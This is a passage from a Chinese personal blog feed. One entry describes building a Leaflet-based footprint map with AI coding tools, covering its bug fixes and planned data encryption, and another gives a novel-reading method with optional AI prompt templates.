图文弹窗、按时间排序的路线模式、分组筛选、数据导入导出。</p><p>聊完之后，元宝帮我产出了<strong>两份文档</strong>，这个分工很有讲究：</p><table><thead><tr><th>文档</th><th>面向对象</th><th>侧重点</th></tr></thead><tbody><tr><td>需求与功能设计文档</td><td>人类阅读</td><td>“做什么”和”为什么”，交互规则</td></tr><tr><td>AI 开发者移交文档</td><td>AI 开发者</td><td>数据模型、优先级（P0&#x2F;P1&#x2F;P2）、验收清单、开发约束</td></tr></tbody></table><p>第二份文档细到什么程度？marker 的 id 格式（<code>m_{毫秒时间戳}_{随机4位}</code>）、时间格式必须是 <code>YYYY-MM-DD HH:mm</code>、路线折线的颜色 <code>#e74c3c</code> 和虚线样式 <code>dashArray: &#39;8,8&#39;</code>、一键展开弹窗最多 50 个、localStorage 的键名叫 <code>mapData</code>——全部写得明明白白。</p><p>为什么这么啰嗦？因为 AI 开发最怕的不是复杂需求，而是<strong>模糊需求</strong>。文档越精确，AI 一次成型的概率越高，来回扯皮的次数越少。有的时候和ai一起开发或者写文档，与ai交付来回多了，ai反而容易忘记最开始重要的东西，导致中途开发的已经接近完美的产品反而被毁了。</p><p>开发移交文档里还专门参考了 MarkdownMap、leaflet-search、Exping 三个项目的架构思路（只借鉴不抄代码）。</p><p>核心原则也在这个阶段定死了：</p><ul><li><strong>纯前端</strong>：无后端、无数据库，静态托管就能跑</li><li><strong>数据自主</strong>：所有数据是 JSON 文件，随时导出，永不锁定</li><li><strong>单文件交付</strong>：CSS 和 JS 全部内联进一个 <code>index.html</code>，扔进 <code>source/map/</code> 就能用</li></ul><h2 id="二、开发实施：和-WorkBuddy-的六轮迭代"><a href="#二、开发实施：和-WorkBuddy-的六轮迭代" class="headerlink" title="二、开发实施：和 WorkBuddy 的六轮迭代"></a>二、开发实施：和 WorkBuddy 的六轮迭代</h2><p>文档交给 WorkBuddy 后，开发过程总共出了六个版本。我把迭代过程整理成一张表：</p><table><thead><tr><th>版本</th><th>主要内容</th><th>性质</th></tr></thead><tbody><tr><td>v1</td><td>按移交文档实现全部功能</td><td>初版</td></tr><tr><td>v2</td><td>外部依赖内联化，提高可用性</td><td>优化</td></tr><tr><td>v3</td><td>数据结构调优</td><td>优化</td></tr><tr><td>v4</td><td>修复”弹窗关闭后无法再打开”</td><td>修坑</td></tr><tr><td>v5</td><td>搜索下拉遮挡修复 + 回车选中 + OSM&#x2F;Carto 底图</td><td>修坑 + 衍生</td></tr><tr><td>v6</td><td>图层循环切换改为下拉选择器 + Esri 卫星底图</td><td>衍生需求</td></tr></tbody></table><p>初版（v1~v3）出乎意料地顺利——移交文档写得细，AI 基本一次成型，验收清单里绝大部分条目直接通过。真正花时间的是后面三轮，属于是测试bug，也是在测试使用中评估是否满足使用人的需求。</p><p>这也验证了我的一个开发习惯：<strong>AI 写的代码，”能用”和”好用”之间隔着真实使用这一关。</strong> 每一版我都在自己的浏览器里实际操作一遍，把问题截图、描述复现步骤，再交给 AI 定位修复。</p><h2 id="三、踩坑记录：三个有代表性的问题"><a href="#三、踩坑记录：三个有代表性的问题" class="headerlink" title="三、踩坑记录：三个有代表性的问题"></a>三、踩坑记录：三个有代表性的问题</h2><p>这部分是这篇文章技术含量最高的地方，三个坑各自代表一类典型问题。</p><h3 id="坑-1：弹窗关闭后无法再打开（v4）"><a href="#坑-1：弹窗关闭后无法再打开（v4）" class="headerlink" title="坑 1：弹窗关闭后无法再打开（v4）"></a>坑 1：弹窗关闭后无法再打开（v4）</h3><p><strong>现象</strong>：点击地图点位，弹窗正常弹出。点弹窗右上角 ✕ 关闭后，再点同一个点位，弹窗死活不出来了。刷新页面，又能打开一次。</p><p>这个 bug 特别有迷惑性——“第一次能开”说明打开逻辑没问题，”关了就开不了”说明关闭操作把什么东西弄脏了。</p><p>根因挖到了 Leaflet 源码层面。Leaflet 的 <code>Marker._openPopup</code> 内部有一个切换逻辑：</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">_openPopup</span>: <span class="keyword">function</span> (<span class="params">t</span>) &#123;</span><br><span class="line">  ...</span><br><span class="line">  <span class="variable language_">this</span>.<span class="property">_map</span>.<span class="title function_">hasLayer</span>(<span class="variable language_">this</span>.<span class="property">_popup</span>)</span><br><span class="line">    ? <span class="variable language_">this</span>.<span class="title function_">closePopup</span>()   <span class="comment">// 已打开 → 关闭（toggle 行为）</span></span><br><span class="line">    : <span class="variable language_">this</span>.<span class="title function_">openPopup</span>(t.<span class="property">latlng</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>AI自定义编写的 click 处理器和 Leaflet 内部的这个处理器<strong>同时在监听点击</strong>。代码先执行 openPopup 成功，Leaflet 内部处理器随后执行，发现”弹窗已打开”，于是把它关了——刚打开的弹窗瞬间被关掉。而关闭时用的 <code>closePopup()</code> 只是置空引用、移除 DOM，<code>map._layers</code> 里还残留着弹窗对象，导致下次判断”已打开”永远成立。</p><p>修复分两刀：</p><ol><li><code>mk.off(&#39;click&#39;, mk._openPopup)</code>——移除 Leaflet 内部的切换处理器，点击行为完全由我们自己的代码接管</li><li>关闭弹窗改用 <code>map.removeLayer(popup)</code>——彻底从图层里清除，不留残留</li></ol><p><strong>教训</strong>：用第三方库时，它的”便利行为”（内部自动监听、toggle）和你的自定义逻辑会打架。出了灵异 bug，别猜，去读库的源码。</p><h3 id="坑-2：搜索下拉框被地图”挡住”（v5）"><a href="#坑-2：搜索下拉框被地图”挡住”（v5）" class="headerlink" title="坑 2：搜索下拉框被地图”挡住”（v5）"></a>坑 2：搜索下拉框被地图”挡住”（v5）</h3><p><strong>现象</strong>：搜索输入地点名称，明明输入法联想都有，下拉结果就是不显示。</p><p>第一反应是 z-index 不够高，把下拉框层级提到 2000 还是看不见。这就诡异了——直到意识到问题根本不在 z-index：</p><p><strong>父容器 <code>#toolbar</code> 设了 <code>overflow-y: hidden</code>，子元素 z-index 再高也会被父容器裁剪掉。</strong> 这是 CSS 的层叠上下文规则：溢出裁剪发生在父级，子级的 z-index 只在和兄弟元素竞争时有用。</p><p>修复方案是”搬家”：</p><ul><li>初始化时把 <code>#searchResults</code> 从工具栏里移到 <code>document.body</code> 下</li><li>改用 <code>position: fixed</code> 脱离文档流</li><li>用 <code>getBoundingClientRect()</code> 实时读取输入框位置，动态计算下拉框坐标，同时监听 <code>resize</code> 和 <code>scroll</code> 跟随</li></ul><p>顺手把回车键也绑上了：输入后按回车直接选中第一条结果，不用非得动鼠标。</p><p><strong>教训</strong>：z-index 失效九成不是数字不够大，而是层叠上下文和溢出裁剪在父级就把你拦住了。</p><h3 id="坑-3：谷歌卫星瓦片的”假成功”（v6）"><a href="#坑-3：谷歌卫星瓦片的”假成功”（v6）" class="headerlink" title="坑 3：谷歌卫星瓦片的”假成功”（v6）"></a>坑 3：谷歌卫星瓦片的”假成功”（v6）</h3><p><strong>现象</strong>：想加国外卫星图，先试了谷歌瓦片。curl 一测，HTTP 200，有响应——看起来通了。但地图上就是一片空白。</p><p>仔细一看响应内容：<strong>只有 1.7KB，是一张 1×1 像素的占位图。</strong> HTTP 状态码是”成功”的，但返回的根本不是瓦片图片。这是国内访问谷歌瓦片服务的典型拦截方式——不给你报错，给你返回一张空白图，让你以为是自己代码的问题。</p><p>换用 Esri World Imagery：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://server.arcgisonline.com/ArcGIS/rest/services/World_Imagery/MapServer/tile/&#123;z&#125;/&#123;y&#125;/&#123;x&#125;</span><br></pre></td></tr></table></figure><p>curl 实测：HTTP 200，响应 14.8KB，耗时 0.47 秒，国内直连，免费无 Key。真瓦片，全球覆盖，maxZoom 19。</p><p><strong>教训</strong>：验证外部资源可用性，不能只看状态码，要看响应内容的大小和类型是不是符合预期。”假成功”比明确的失败更坑人。</p><h2 id="四、衍生需求：用着用着冒出来的"><a href="#四、衍生需求：用着用着冒出来的" class="headerlink" title="四、衍生需求：用着用着冒出来的"></a>四、衍生需求：用着用着冒出来的</h2><p>有三个功能不在最初的需求文档里，全是实际使用中长出来的：</p><ol><li><strong>国外底图</strong>。原本用高德瓦片，国内很清晰，但我想标记国外的点，一放大全是空白。于是加了 OSM 和 Carto 浅色两种国外底图，再加 Esri 卫星，凑齐了”国内+国外、标准+卫星”的完整组合。</li><li><strong>图层下拉选择器</strong>。底图从 2 种涨到 5 种之后，原来的”循环切换”按钮变得很蠢——想要 Esri 卫星得连按四下。改成下拉选择器，一步到位。</li><li><strong>搜索回车选中</strong>。发现下拉结果被遮挡的过程中，顺带发现自己习惯性按回车，而原实现只支持鼠标点击。</li></ol><p>需求文档写得再全，也覆盖不了真实使用中冒出来的体验问题。<strong>迭代的方向盘，永远握在实际用的人手里。</strong></p><h2 id="五、隐私考量：一个暂缓的决定"><a href="#五、隐私考量：一个暂缓的决定" class="headerlink" title="五、隐私考量：一个暂缓的决定"></a>五、隐私考量：一个暂缓的决定</h2><p>上线前我想到一个问题：这个页面不需要登录，我自己看很方便，但<strong>别人也同样方便地能看到我的全部足迹</strong>——我去过哪、什么时候去的、写了什么。</p><p>我原本在两个方案间犹豫：给页面加个密码锁，还是让页面正常访问但数据加载要验证。但和 AI 讨论后，评估这两个都不行：静态托管没有后端，任何”前端验证密码”都只是遮羞布——<strong>绕过页面直接访问 <code>data.json</code> 的 URL，明文数据照样下载</strong>。</p><p>真正有效的方案是第三种：<strong>把 data.json 本身用 AES-256-GCM 加密，密码只存在于我脑子里</strong>。浏览器端复杂解密渲染和加密导出，别人就算下载到文件也只是一堆乱码。用 Web Crypto API 就能实现，零后端。更进一步，不一定是所有的地图点位、足迹信息都是隐私的信息。也可以，以后让这个网页支持加密和明文地图点位数据导入，支持加密或明文数据导出。这样，这个网页既可以私用，也可以公用。或者让自己推荐的点位默认明文载入展示，而自己私密的地图点位数据采用加密，而在导入时候需要提供解密密码。</p><p>这个方案已敲定但暂缓实施——因为目前线上 data.json 里的点位是空的，我的真实数据还在本机 localStorage 里，暂时没有隐私可泄露。等我真的要把足迹数据发布上去做跨设备同步时，再回来做加密。</p><h2 id="六、上线部署"><a href="#六、上线部署" class="headerlink" title="六、上线部署"></a>六、上线部署</h2><p>部署方式简单粗暴：把 <code>source/map/</code> 整个文件夹（<code>index.html</code> + <code>data.json</code> + <code>README.md</code>，共 3 个文件）复制到正式仓库，git push，CNB 云原生构建自动完成后续一切。</p><p>上线后访问 <code>https://misaka10013.cn/map/</code>。</p><p>整个项目的技术栈，最后总结成一句话：<strong>Leaflet.js 管地图，marked.js 管 Markdown 渲染，localStorage 管持久化，原生 JS + 内联 CSS 管一切交互，零框架零后端零构建。</strong></p><h2 id="七、待议与待办（给未来的自己）"><a href="#七、待议与待办（给未来的自己）" class="headerlink" title="七、待议与待办（给未来的自己）"></a>七、待议与待办（给未来的自己）</h2><p>把未完成的事项记在这里，以后翻到这篇文章就知道下一步往哪走：</p><table><thead><tr><th>事项</th><th>说明</th><th>优先级</th></tr></thead><tbody><tr><td>data.json 加密</td><td>AES-256-GCM + PBKDF2 方案已敲定，客户端解密渲染；导出备份同样加密</td><td>高（发布真实数据前必须做）</td></tr><tr><td>跨设备数据同步</td><td>目前真实数据只在本机 localStorage；换设备需”导出 JSON → 替换 data.json → push”手动流程</td><td>中</td></tr><tr><td>地图页入口</td><td>目前无导航&#x2F;文章链接指向 &#x2F;map&#x2F;，纯 URL 直达（算是一层隐蔽）</td><td>低</td></tr><tr><td>已知小瑕疵</td><td>第二次点击点位时 Leaflet 的 <code>_stopped</code> 置位，导致 map 的 click（收起搜索下拉&#x2F;筛选面板）不触发，不影响核心功能</td><td>低</td></tr><tr><td>图片图床</td><td>点位照片计划用图床 URL，需选定稳定图床</td><td>中</td></tr></tbody></table><h2 id="后记"><a href="#后记" class="headerlink" title="后记"></a>后记</h2><p>复盘整个项目，我的流程是：<strong>元宝做需求收敛和文档产出，WorkBuddy 做编码实施，我做真实环境测试和方向决策。</strong> 三个角色里，AI 承担了两块，而指引方向和评估质量的”方向盘”始终在我手这——哪个问题优先修、需求往哪个方向衍生、隐私做到什么程度，这些都是拍板题，不是执行题。这大概也是为啥现在很多人用AI协同开发或输出内容，会觉得很有动力。</p><p>“两段式文档”（人类需求文档 + AI 移交文档）和”版本化备份”（每个版本存档 <code>map_versions/</code>）这两个习惯，以后的项目会继续沿用。</p>]]>
    </content>
    <id>http://misaka10013.cn/p/1001394788.html</id>
    <link href="http://misaka10013.cn/p/1001394788.html"/>
    <published>2026-08-19T01:20:00.000Z</published>
    <summary>
      <![CDATA[<p>在大概10年多前，我就已经在使用谷歌足迹地图，最早是在使用谷歌地球中觉得精确、细节拉满的谷歌地球很适合找到一些自己去过的地方并且标点记录。之后我在我的博客的“关于”页面，通过链接谷歌足迹地图的方式，在我的博客实现查看我的足迹。</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;iframe src=&quot;https://www.google.com/maps/d/embed?mid=1FnQqdlXYFoEnO6WvZ8QEHj9RYHg&quot; width=&quot;100%&quot; height=&quot;600&quot;&gt;&lt;/iframe&gt;</span><br></pre></td></tr></table></figure>

<p>但使用上也有一些痛点。例如谷歌地图一直被强，我更新足迹需要总是用梯子，所以更新频次很少。其次是谷歌卫星地图和地图道路、点位等信息在国内的部分有坐标偏差，查看起来很难看。经常我一个点位不知道按卫星地图给标记还是按街道位置进行标记。近几年，我也断断续续用过其他方案，例如百度地图或者高德收藏夹存地点。但每次想回顾”我去过哪些地方、在那里发生过什么”的时候，数据总是散落在各个 App 里，我要打开app去翻找，宁琅满目各种广告、贷款推荐，慢得很。</p>
<p>我想要的东西其实很简单：<strong>一张属于我自己的地图，每个点位是一段记忆，能写文字、能贴图、能按时间连成路线，数据永远在我手里。</strong></p>
<p>于是在AI的协助讨论和开发下，就有了这个项目——一个嵌入 Hexo 博客的纯前端足迹地图。这篇文章记录它从需求讨论到上线的完整过程，包括踩过的三个很有代表性的坑，以及留给以后的待办事项。</p>]]>
    </summary>
    <title>御坂个人足迹地图：从需求到AI开发上线</title>
    <updated>2026-09-15T13:08:39.435Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="生活随笔" scheme="http://misaka10013.cn/categories/%E7%94%9F%E6%B4%BB%E9%9A%8F%E7%AC%94/"/>
    <category term="读书笔记" scheme="http://misaka10013.cn/tags/%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/"/>
    <category term="阅读方法" scheme="http://misaka10013.cn/tags/%E9%98%85%E8%AF%BB%E6%96%B9%E6%B3%95/"/>
    <category term="小说" scheme="http://misaka10013.cn/tags/%E5%B0%8F%E8%AF%B4/"/>
    <content>
      <![CDATA[<p>很多人读小说是「打开就翻，翻完就忘」。读完一本几十万字的书，问自己记住了什么，往往只剩一个模糊的情节梗概。</p><p>问题不在读得太少，而在读得<strong>太被动</strong>。</p><p>这篇文章是我整理的一份「小说阅读操作指南」——从翻开书之前的心理准备，到阅读中的具体动作，再到读完之后的总结输出，把整条流程固定下来。以后每次读小说，都可以照着这份流程走一遍。</p><span id="more"></span><h2 id="一、阅读前的思想准备：先想清楚「为什么读」"><a href="#一、阅读前的思想准备：先想清楚「为什么读」" class="headerlink" title="一、阅读前的思想准备：先想清楚「为什么读」"></a>一、阅读前的思想准备：先想清楚「为什么读」</h2><blockquote><p><strong>AI 辅助通道</strong>：把整本小说的文本 + 下面这段提示词一起发给 AI，让它帮你完成读前准备工作（纯可选，不用就跳过）。</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">我正在读 [填写书名]，作者是 [填写作者]。我的阅读目的是：[填写你的目的，例如：想训练逻辑推理能力 / 想体验人物的情感挣扎 / 想学习作者的叙事技巧]。</span><br><span class="line"></span><br><span class="line">我已经把全书文本发给你了，请基于文本内容，帮我完成以下读前准备工作：</span><br><span class="line"></span><br><span class="line">1. 建立全书地图：概括这本书的整体结构——分为几个部分？叙事视角是什么（如第一人称、第三人称有限视角）？故事大致从哪里开始，最终走向何方？</span><br><span class="line">2. 梳理背景：介绍作者所处的时代背景、创作状态，以及这本书在文学史或类型小说中的地位。如果文本中没有相关信息、你也无法确认，请明确说“无法确认”，不要推测。</span><br><span class="line">3. 提出三个问题：基于我的阅读目的和这本书的实际内容，以“主动阅读者”的身份替我提出 3 个核心问题，用于引导整本书的阅读。要求：问题必须来自书中真实存在的内容或主题，能引导深入思考，而不是简单的剧情预测。</span><br><span class="line"></span><br><span class="line">注意：如果全书文本过长，你只看到了部分内容，请先明确告知，再基于已有内容作答。</span><br></pre></td></tr></table></figure><p>拿起一本书之前，先回答一个问题：<strong>我为什么要读小说？</strong></p><p>很多人觉得这是废话——“因为好看啊”。但把这个问题想深一层，你会发现自己能从小说里拿到的东西远比「好看」多得多：</p><table><thead><tr><th>层面</th><th>收获</th></tr></thead><tbody><tr><td><strong>认知</strong></td><td>理解复杂人性与社会结构。小说本质上是「人类处境的模拟器」，用最低成本体验最多样的人生样本</td></tr><tr><td><strong>情感</strong></td><td>安全的共情练习。体验他人的痛苦与喜悦，增强现实中的同理心</td></tr><tr><td><strong>思维</strong></td><td>训练叙事逻辑、因果推理、多角度思考能力（推理小说尤其明显）</td></tr><tr><td><strong>审美</strong></td><td>感受语言之美，积累表达力与语感</td></tr><tr><td><strong>自我</strong></td><td>通过角色的困境照见自己，获得心理疗愈与成长参照</td></tr></tbody></table><p>想清楚「为什么读」，你的阅读目标就有了方向：想训练逻辑就读推理，想获得共情就读人物群像，想提升表达就注意语言细节。</p><h2 id="二、翻开之前：明确要从这本小说中获得什么"><a href="#二、翻开之前：明确要从这本小说中获得什么" class="headerlink" title="二、翻开之前：明确要从这本小说中获得什么"></a>二、翻开之前：明确要从这本小说中获得什么</h2><p>这是很多人最容易跳过、但回报最高的一步。<strong>不要直接翻正文，先花十分钟做三件事：</strong></p><h3 id="1-建立全书地图"><a href="#1-建立全书地图" class="headerlink" title="1. 建立全书地图"></a>1. 建立全书地图</h3><p>先看目录、序言、作者简介，快速浏览全书结构。搞清楚：这本书分几部分？叙事视角是什么？故事大概从哪里开始、走向哪里？</p><p>这一步不是剧透，而是给你的大脑装一张「地图」——带着地图进书里，你不会迷路，还能在阅读中随时感知「现在走到哪了」。</p><h3 id="2-了解背景"><a href="#2-了解背景" class="headerlink" title="2. 了解背景"></a>2. 了解背景</h3><p>作者所处的时代、写作背景、这本书在文学史上的位置。了解了这些，很多情节和隐喻才有了理解的坐标。</p><h3 id="3-写下三个问题"><a href="#3-写下三个问题" class="headerlink" title="3. 写下三个问题"></a>3. 写下三个问题</h3><p>在阅读前写下 <strong>3 个你想从这本书里得到答案的问题</strong>。比如：</p><ul><li>这本书的主角究竟是一个怎样的人？</li><li>作者想通过这个故事表达什么？</li><li>这本书为什么被称为经典&#x2F;为什么口碑两极分化？</li></ul><p>这三个问题是你整本书的「锚」。读完合上书时，回来检验：这三个问题被解答了吗？如果被解答了，答案是什么？</p><h2 id="三、阅读中：主动阅读的操作流程"><a href="#三、阅读中：主动阅读的操作流程" class="headerlink" title="三、阅读中：主动阅读的操作流程"></a>三、阅读中：主动阅读的操作流程</h2><p>带着问题和地图开始读。阅读中始终保持一个动作：<strong>主动提问，别被动接受</strong>。</p><blockquote><p><strong>AI 辅助通道</strong>：把整本小说的文本 + 下面这段提示词一起发给 AI，让它帮你做阶段性整理（纯可选，不用就跳过）。<strong>注意：当前进度一定要填</strong>——它决定了 AI 只回答你读过的部分，防止被剧透。</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">我正在阅读 [填写书名]，目前读到了 [填写章节名或进度，如：第5章 / 故事的前三分之一处]。</span><br><span class="line"></span><br><span class="line">我已经把全书文本发给你了。请帮我完成以下两项工作：</span><br><span class="line"></span><br><span class="line">1. 梳理人物关系网络：只基于“截止到 [当前进度]”已出现的内容，列出到目前为止的主要人物，并用简洁的语言描述他们之间的关系（如：盟友、敌对、暗恋、利益纠葛等）。如果能用文字画出关系图更好。</span><br><span class="line">2. 追踪角色成长轨迹：聚焦于主角 [填写主角名字]，只基于“截止到 [当前进度]”已出现的内容，分析他/她在这个阶段经历了什么关键事件？心态、性格或目标发生了哪些变化？与故事开始时相比有什么不同？</span><br><span class="line"></span><br><span class="line">重要：我只读到 [当前进度]，请严格基于我已读的部分作答——不要引用、不要暗示我尚未读到的情节，不要剧透。</span><br></pre></td></tr></table></figure><h3 id="1-边读边提问"><a href="#1-边读边提问" class="headerlink" title="1. 边读边提问"></a>1. 边读边提问</h3><p>看到任何疑惑——人物动机、伏笔、隐喻、看不懂的设定——立刻停下来想一想，而不是滑过去。疑惑是阅读最有价值的东西，它是你理解力的抓手。</p><p>如果身边有 AI 工具（比如带 RAG 检索的阅读助手），可以随时把疑问抛给它，让它检索原文出处并解释。但即使没有 AI，你也可以把问题记在书页空白处，或记在笔记里，带着疑问继续读——很多疑问会在后面自己解开，这本身就是一种阅读乐趣。</p><h3 id="2-边读边记"><a href="#2-边读边记" class="headerlink" title="2. 边读边记"></a>2. 边读边记</h3><p><strong>让笔记贯穿全程，而不是留到最后。</strong> 划线、写批注、记下此刻的感受和联想。</p><p>具体可以记什么：</p><ul><li>让你心头一动的句子（划线即可）</li><li>你对某个角色的第一印象（和最后的印象对比会很有趣）</li><li>猜到的伏笔和后续发展（打脸和猜中都是乐趣）</li><li>产生共鸣或抵触的段落（这是自我认知的入口）</li></ul><h3 id="3-使用适合的阅读方法"><a href="#3-使用适合的阅读方法" class="headerlink" title="3. 使用适合的阅读方法"></a>3. 使用适合的阅读方法</h3><p><strong>主动阅读法（SQ3R 变体）</strong>，适合大多数小说：</p><ol><li><strong>浏览</strong>（Survey）→ 先看目录和全书结构</li><li><strong>提问</strong>（Question）→ 读前写 3 个想知道答案的问题</li><li><strong>精读</strong>（Read）→ 边读边标注、边记疑问</li><li><strong>复述</strong>（Recite）→ 每章读完，用自己的话复述一遍</li><li><strong>回顾</strong>（Review）→ 全书读完做总结，检验当初的问题是否被解答</li></ol><p><strong>三遍读法</strong>，适合经典作品和推理小说：</p><ul><li>第一遍：享受情节，不打断，完整体验故事的爽感</li><li>第二遍：带着问题精读，追伏笔、查概念、看细节</li><li>第三遍：跳读重点章节，做结构分析，看作者是怎么「搭房子」的</li></ul><p><strong>费曼输出法</strong>，任何书都适用：</p><ul><li>读完每章，问自己：「如果我要向朋友讲这本书，我会怎么说？」</li><li>能讲清楚，就是真读懂了；讲不清楚，说明有地方还没消化，回去重读那一段</li></ul><h3 id="4-特殊类型小说的针对性策略"><a href="#4-特殊类型小说的针对性策略" class="headerlink" title="4. 特殊类型小说的针对性策略"></a>4. 特殊类型小说的针对性策略</h3><ul><li><strong>推理小说</strong>：重点关注人物关系网（人物多、关系复杂），可以单独画一张关系图；追踪线索与伏笔的出现轨迹；读到中段试着梳理案件的逻辑链条</li><li><strong>长篇小说</strong>：跨章节追踪某个角色或某个伏笔的成长轨迹，这是纸质书很难做到、但非常值得做的事</li><li><strong>经典文学</strong>：注意语言与结构，思考作者为什么这样安排叙事</li></ul><h2 id="四、阅读后：总结与输出"><a href="#四、阅读后：总结与输出" class="headerlink" title="四、阅读后：总结与输出"></a>四、阅读后：总结与输出</h2><p>合上书，阅读只完成了一半。<strong>后半段是「输出」，逼自己输出才能真正消化。</strong></p><blockquote><p><strong>AI 辅助通道</strong>：把整本小说的文本 + 下面这段提示词一起发给 AI，让它帮你完成全书总结（纯可选，不用就跳过）。</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">我已经读完了 [填写书名]。我的阅读目的是：[填写你最初的目的]。</span><br><span class="line"></span><br><span class="line">我已经把全书文本发给你了，请基于文本内容，帮我完成最终的总结与输出：</span><br><span class="line"></span><br><span class="line">1. 检验问题：逐一回答读前提到的 3 个核心问题，并说明答案是什么。</span><br><span class="line">2. 全书总结：用你自己的话完整总结这个故事——主线与副线如何交织？核心冲突是什么？结局如何收束？</span><br><span class="line">3. 寻找三种共鸣：根据书中的人物，找出“像我的角色”（我在谁身上看到了自己）、“我想成为的角色”（谁活成了我想要的样子）、“我害怕成为的角色”（谁的结局是我最不想面对的）。</span><br><span class="line">4. 整理金句：从全书文本中挑选 3-5 句最能代表本书精神内核或最令人震撼的句子。要求：必须是书中真实存在的原文，并逐句标注出自哪个章节或大致位置，方便我回查核对。</span><br><span class="line">5. 输出脚本——如何把这本书讲给别人听：写一份简短的“安利脚本”：一句话钩子（用吸引人的问题或观点开场）；核心故事（2-3 句话讲清故事梗概，不剧透关键转折）；亮点推荐（这本书最独特的魅力，如人物塑造、反转设计、情感冲击）；适合人群（什么样的人会喜欢这本书）。</span><br><span class="line"></span><br><span class="line">[可选] 如果这是新对话，请先让我把读前的 3 个问题、读中的人物梳理粘贴给你，再基于这些内容完成上面的总结；如果我没有粘贴，就基于全书文本直接完成。</span><br></pre></td></tr></table></figure><h3 id="1-梳理人物关系与成长线"><a href="#1-梳理人物关系与成长线" class="headerlink" title="1. 梳理人物关系与成长线"></a>1. 梳理人物关系与成长线</h3><p>把主要人物列出来，画一张关系图；再为每个主要角色梳理一条成长线——他从故事开头到结尾，经历了什么，变成了什么，为什么。</p><h3 id="2-找到自己的共鸣点"><a href="#2-找到自己的共鸣点" class="headerlink" title="2. 找到自己的共鸣点"></a>2. 找到自己的共鸣点</h3><p>这一步很重要：<strong>把书和「你自己」连接起来，书才算真正读完。</strong></p><p>共鸣不只有一种，可以找三种：</p><ul><li><strong>「像我的角色」</strong>——在谁身上看到了自己？</li><li><strong>「我想成为的角色」</strong>——谁活成了我想要的样子？</li><li><strong>「我害怕成为的角色」</strong>——谁的结局是我最不想面对的？</li></ul><p>这三种共鸣找完，你对这本书的理解会立体很多。</p><h3 id="3-全书总结"><a href="#3-全书总结" class="headerlink" title="3. 全书总结"></a>3. 全书总结</h3><p>用自己的话写一遍全书总结：故事讲了什么、主线副线怎么交织、结局如何收束。注意：是<strong>用自己的话</strong>，不是复述简介。</p><h3 id="4-收集金句"><a href="#4-收集金句" class="headerlink" title="4. 收集金句"></a>4. 收集金句</h3><p>把阅读中划线的句子整理出来，挑出最让你震撼、最有共鸣的几句，单独存起来。金句是这本书留给你的「可携带资产」，以后引用、写作、发朋友圈都用得上。</p><h3 id="5-输出——把书讲给别人听"><a href="#5-输出——把书讲给别人听" class="headerlink" title="5. 输出——把书讲给别人听"></a>5. 输出——把书讲给别人听</h3><p>最后一步，向他人讲述整个故事 + 推荐这本书的亮点。形式不限：</p><ul><li>写一篇读书笔记&#x2F;书评</li><li>向朋友口头安利</li><li>发一条社交动态</li><li>写「我同意&#x2F;不同意作者什么」（批判性输出，比单纯复述更有价值）</li><li>把这本书和同类作品对比（比如两本推理小说手法差异在哪）</li></ul><h2 id="五、一页纸速查清单"><a href="#五、一页纸速查清单" class="headerlink" title="五、一页纸速查清单"></a>五、一页纸速查清单</h2><p>每次读小说前，把这张清单过一遍：</p><p><strong>读前（10 分钟）</strong></p><ul><li><input disabled="" type="checkbox"> 我为什么读这本小说？（想获得什么：逻辑&#x2F;共情&#x2F;审美&#x2F;成长？）</li><li><input disabled="" type="checkbox"> 看完目录，建立全书地图</li><li><input disabled="" type="checkbox"> 了解作者与背景</li><li><input disabled="" type="checkbox"> 写下 3 个想在书中得到答案的问题</li></ul><p><strong>读中（全程）</strong></p><ul><li><input disabled="" type="checkbox"> 带着 3 个问题读</li><li><input disabled="" type="checkbox"> 有疑惑就停下来想&#x2F;记&#x2F;问</li><li><input disabled="" type="checkbox"> 划线、写批注，笔记贯穿全程</li><li><input disabled="" type="checkbox"> 每章结束用自己的话复述一遍（费曼）</li></ul><p><strong>读后（30 分钟）</strong></p><ul><li><input disabled="" type="checkbox"> 检验 3 个问题是否被解答</li><li><input disabled="" type="checkbox"> 梳理人物关系 + 成长线</li><li><input disabled="" type="checkbox"> 找三种共鸣：像我的 &#x2F; 想成为的 &#x2F; 害怕成为的</li><li><input disabled="" type="checkbox"> 写全书总结</li><li><input disabled="" type="checkbox"> 整理金句</li><li><input disabled="" type="checkbox"> 输出：讲给别人听 &#x2F; 写书评 &#x2F; 对比同类作品</li></ul><hr><p>读小说不是消遣，是一次低成本的人生模拟。流程化的意义在于：同样的时间投入，你能从书里拿走更多。</p><p>下次翻开书之前，记得先问自己那三个问题。</p>]]>
    </content>
    <id>http://misaka10013.cn/p/2002144968.html</id>
    <link href="http://misaka10013.cn/p/2002144968.html"/>
    <published>2026-08-13T09:21:20.000Z</published>
    <summary>
      <![CDATA[<p>很多人读小说是「打开就翻，翻完就忘」。读完一本几十万字的书，问自己记住了什么，往往只剩一个模糊的情节梗概。</p>
<p>问题不在读得太少，而在读得<strong>太被动</strong>。</p>
